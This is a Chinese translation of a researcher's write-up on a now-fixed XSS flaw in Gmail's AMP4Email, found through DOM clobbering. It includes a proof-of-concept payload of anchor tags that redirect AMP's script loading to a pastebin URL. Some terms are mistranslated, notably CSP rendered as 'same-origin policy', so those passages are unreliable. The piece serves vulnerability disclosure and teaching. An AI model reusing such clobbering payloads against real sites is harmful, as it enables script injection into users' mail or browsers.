查看原文
其他

被谷歌评价很赞:通过 DOM Cobbering 找到 Gmail AMP4Email 中的 XSS 漏洞

代码卫士 2022-04-06
 聚焦源代码安全,网罗国内外最新资讯!
作者:MICHAŁ BENTKOWSKI 
编译:奇安信代码卫士团队

作者MICHAŁ BENTKOWSKI 在博客文章中分享了自己在20198月通过谷歌漏洞奖励计划提交的一个存在于 AMP4Email 中的 XSS 漏洞。该漏洞被谷歌点赞,现已修复。作者通过这个 XSS 漏洞说明了如何在真实环境中利用著名的浏览器问题 DOM Clobbering。奇安信代码卫士编译如下:

AMP4Email 简介

AMP4Email (也被称为动态邮件)是Gmail 的一项新功能,可使邮件包含HTML 动态内容。虽然多年来我们撰写的邮件中可以包含 HTML 标记语言,但人们一般认为 HTML 包含的只是静态语言,例如某种格式、图像等,而不会包含任何脚本或表格。AMP4Email 旨在向前迈进一步,允许邮件中出现动态内容。谷歌 G Suite 官方博客曾在一篇文章中很好地总结了对动态邮件的使用案例:

“借助动态电子邮件,你可以轻松地直接从消息本身采取行动,例如对事件进行RSVP(敬请回复)处理、填写调查问卷、浏览目录或回应评论。例如在 Google Docs 中写评论。有人在评论中提到你时,你不再收到个人邮件通知,而是会在 Gmail 中看到及时提醒,这样你就可以轻松地直接从信息中进行处理。

这项功能引发的某些安全问题是显而易见的,其中最重要的可能是如果发生跨站点脚本漏洞 (XSS) 怎么办?如果我们允许在邮件中存在动态内容,是不是意味着我们能够很容易地注入任意 JavaScript 代码?其实不尽然,实施这些行为并非易事。

AMP4Email 拥有一款强大的验证器。检验之后,它对动态邮件中能够出现的标签和属性进行了严格的白名单化。有兴趣的读者可移步 https://amp.gmail.dev/playground/,给自己发送一份动态邮件,体验其效果。


如果你尝试添加任何未经该验证其明确允许的 HTML 元素或属性,就会收到一个出错信息提醒。


我把玩了一阵AMP4Email 并尝试多种绕过方法后,我注意到标签中并未对属性 id 做出禁止规定。


那么我可以从这里开始分析其安全性,因为创建由用户控制的 id 属性的 HTML 元素可导致 DOM Clobbering 后果。

什么是 DOM Clobbering?

DOM Clobbering 时是 web 浏览器中的一个遗留功能,一直在很多应用程序中制造麻烦。从本质上来讲,当你在 HTML 中创建了一个元素(如 <input id=username>)并希望从 JavaScript 中引用时,你通常会使用函数如(document.getElementById('username') document.querySelector('#username'))。但这并非唯一方法!

遗留的方法就是通过全局对象window 的一个属性就能访问它。因此在这个案例中,window.usernamedocument.getElementById(‘username) 是完全相同的!如果应用程序是基于某些全局变量做出决策,那么这种行为(即 DOM Clobbering)会导致出现一些有意思的漏洞(想象一下:if (window.isAdmin){…}) 的后果)。

进一步分析,假设我们的JavaScript 代码如下:

if (window.test1.test2) { eval(''+window.test1.test2)}

我们的任务是评估仅通过 DOMClobbering 技术执行任意 JS 代码。为此,我们需要解决如下两个问题: 

  • 我们已经知道能够创建 window 的新属性,但我们可以为其它对象创建新属性(如test1.test2的例子)吗?

  • 我们能够控制 DOM 元素如何被转换为字符串的方式吗?多数 HTML 元素被转换为字符串时会返回类似这样的内容 [object HTMLInputElement]。

我们先来看第一个问题。解决这个问题最常用的方法是使用 <form> 标记。<form> 标记的每个 <input> 后代都将作为 <form> 的属性进行添加,该属性的名称等于 <input> 的 name 属性。如下:

<form id=test1> <input name=test2></form><script> alert(test1.test2); // alerts "[object HTMLInputElement]"</script>


为了解决第二个问题,我创建了一个简短的 JS 代码,它会 HTML 中所有可能的元素进行了迭代,并检查这些元素的 toString 方法是继承自 Object.prototype 还是以其它方式进行了定义。如果它们并非继承自 Object.prototype,那么可能会返回 [Object SomeElement] 以外的结果。

代码如下:

Object.getOwnPropertyNames(window).filter(p => p.match(/Element$/)).map(p => window[p]).filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString)

该代码返回两个元素HTMLAreaElment (<area>) HTMLAnchorElement (<a>)第一个是在 AMP4Email 中被禁止的,因此我们只要看第二个即可。 <a> 元素中,toString 返回的只是 href 属性的一个值。例子如下:

<a id=test1 href=https://securitum.com><script> alert(test1); // alerts "https://securitum.com"</script>

这时,我们如果想要解决最初的问题(即通过 DOM Clobbering 评估 window.test1.test2的值),似乎需要类似于下面这样的代码:

<form id=test1> <a name=test2 href="x:alert(1)"></a></form>

问题是它根本不会运行;test1.test2是“未定义的”。虽然 <input> 元素确实变成了 <form> 的属性,但元素 <a> 这里的情况并非如此。

不过,也有一个很有意思的解决方案,它适用于 WebKit 和基于 Blink 的浏览器中。假设我们的两个元素具有相同的 id

<a id=test1>click!</a><a id=test1>click2!</a>

那么当我们访问 window.test1 时会得到什么呢?我凭直觉认为会获得具有该 id 的第一个元素(当尝试调用 document.getElementById('#test1') 时就是这种结果)。然而,在Chromium 中我们竟然得到了一个 HTMLCollection

 

更有意思的是,我们可以通过索引(例子中是01)以及通过 id 来访问这个HTMLCollection 中的具体元素。也就是说 window.test1.test1 实际上引用的是第一个元素。结果表明设置 name 属性也会导致在HTMLCollection 中创建新属性。因此我们就有了如下的代码:

<a id=test1>click!</a><a id=test1 name=test2>click2!</a>

而且我们能够通过window.test1.test2 来访问第二个锚元素。

 


回到通过 DOMClobbering 利用 eval(''+window.test1.test2) 的最开始的练习,那么解决方案就是:

<a id="test1"></a><a id="test1" name="test2" href="x:alert(1)"></a>

我们再回到 AMP4Email,来看下如何在真实世界中利用 DOMClobbering。

利用 AMP4Email 中的 DOM Clobbering

之前已经提到,通过向元素添加我自己的 id 属性可能导致AMP4Email 易受 DOM Clobbering 攻击。为了找到一些可利用的条件,我决定查看下 window 的属性。以 AMP 开头的属性立即进入眼帘:


AMP4Email 实际上针对 DOM Clobbering 应用了一些防护措施,因为它严格禁止为属性id 传入某些值,如 AMP


尽管如此,但AMP_MODE并没有设置相同的限制条件,因此我要看看代码 <a id=AMP_MODE> 会产生什么后果。结果我在面板上发现了一个非常有意思的出错信息:


如上图,AMPEmail试图加载某个 JS 文件,但由于404错误而失败。然而,更引人注目的是 URL (https://cdn.ampproject.org/rtv/undefined/v0/amp-auto-lightbox-0.1.js)的中间存在一个字符串“undefined”。而这也合理地解释了为何会发生上述情况的原因:AMP 试图获取 AMP_MODE 的一个属性并将其放入 URL 中。由于 DOM Clobbering 的存在,预期的属性确实,因此是 undefined(未定义的)。负责该代码包含的代码如下:

f.preloadExtension = function(a, b) { "amp-embed" == a && (a = "amp-ad"); var c = fn(this, a, !1); if (c.loaded || c.error) var d = !1; else void 0 === c.scriptPresent && (d = this.win.document.head.querySelector('[custom-element="' + a + '"]'), c.scriptPresent = !!d), d = !c.scriptPresent; if (d) { d = b; b = this.win.document.createElement("script"); b.async = !0; yb(a, "_") ? d = "" : b.setAttribute(0 <= dn.indexOf(a) ? "custom-template" : "custom-element", a); b.setAttribute("data-script", a); b.setAttribute("i-amphtml-inserted", ""); var e = this.win.location; t().test && this.win.testLocation && (e = this.win.testLocation); if (t().localDev) { var g = e.protocol + "//" + e.host; "about:" == e.protocol && (g = ""); e = g + "/dist" } else e = hd.cdn; g = t().rtvVersion; null == d && (d = "0.1"); d = d ? "-" + d : ""; var h = t().singlePassType ? t().singlePassType + "/" : ""; b.src = e + "/rtv/" + g + "/" + h + "v0/" + a + d + ".js"; this.win.document.head.appendChild(b); c.scriptPresent = !0 } return gn(c) }


虽然读起来不是特别费劲,不过我们看下手动反混淆之后的代码(为更清晰第展示,某些地方有所省略)。

var script = window.document.createElement("script");script.async = false;
var loc;if (AMP_MODE.test && window.testLocation) { loc = window.testLocation} else { loc = window.location;}
if (AMP_MODE.localDev) { loc = loc.protocol + "//" + loc.host + "/dist"} else { loc = "https://cdn.ampproject.org";}
var singlePass = AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "";b.src = loc + "/rtv/" + AMP_MODE.rtvVersion; + "/" + singlePass + "v0/" + pluginName + ".js";
document.head.appendChild(b);


所以,在第1行,代码创建了一个新的script 元素。之后检查AMP_MODE.testwindow.testLocation 是否为真。如为真,且 AMP_MODE.localDev (第11行)也为真,那么 window.testLocation 就作为生成该脚本 URL 的一个基。之后,在第17行和18行,某些属性被拼接,从而构成完整的 URL。虽然由于代码的编写方式,第一眼看上去可能不是特别明显,但得益于 DOM Clobbering,我们实际上能够控制完整的 URL。我们假设 AMP_MODE.localDev AMP_MODE.test 为真,那么看下更为简化的代码:

var script = window.document.createElement("script");script.async = false;
b.src = window.testLocation.protocol + "//" + window.testLocation.host + "/dist/rtv/" + AMP_MODE.rtvVersion; + "/" + (AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "") + "v0/" + pluginName + ".js";
document.head.appendChild(b);


还记得之前我们通过 DOM Clobbering 过载 window.test1.test2 的练习吗?现在我们要做的也是一样,即仅仅过载 window.testLocation.protocol于是最终的 payload 如下:

<!-- We need to make AMP_MODE.localDev and AMP_MODE.test truthy--><a id="AMP_MODE"></a><a id="AMP_MODE" name="localDev"></a><a id="AMP_MODE" name="test"></a>
<!-- window.testLocation.protocol is a base for the URL --><a id="testLocation"></a><a id="testLocation" name="protocol" href="https://pastebin.com/raw/0tn8z0rG#"></a>


实际上这个代码无法在真实环境中执行,因为 AMP 中部署了同源策略。

Content-Security-Policy: default-src 'none'; script-src 'sha512-oQwIl...==' https://cdn.ampproject.org/rtv/ https://cdn.ampproject.org/v0.js https://cdn.ampproject.org/v0/


虽然我还没有找到绕过同源策略的方法,但当我尝试这样做的时候,我发现了绕过基于 dir 的同源策略的方法,于是我发了个推文(结果发现2016年的某次 CTF 比赛中已经用到了相同的技术)。谷歌的漏洞奖励计划并不要求绕过同源策略就能获得全额奖励金。尽管如此,这仍然是个有意思的挑战,可能其他人有一天会找到绕过方法。

总结

在这篇文章中,我展示了在一定条件下如何通过 DOM Clobbering 执行 XSS。这真实一次有意思的过程!如果想要把玩这些 XSS,可以在如下网站找到基于这个 XSS 的挑战:

 

时间轴

  • 2019年8月15日:向谷歌发送漏洞报告

  • 2019年8月16日:谷歌回复“不错!

  • 2019年9月10日:谷歌回复:“这个 bug 很赞,感谢报告!

  • 2019年10月13日:谷歌证实漏洞已修复(尽管实际上这个漏洞在很早之前就已经存在)

  • 2019年11月18日:文章发布



推荐阅读

【缺陷周话】第54 期:组件间通信XSS

看我如何发现特斯拉 Model 3 中的 XSS 漏洞并赢得1万美元



原文链接
https://research.securitum.com/xss-in-amp4email-dom-clobbering/




题图:Pixabay License



本文由奇安信代码卫士编译,不代表奇安信观点,转载请注明“转自奇安信代码卫士 www.codesafe.cn”



奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的产品线。




您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存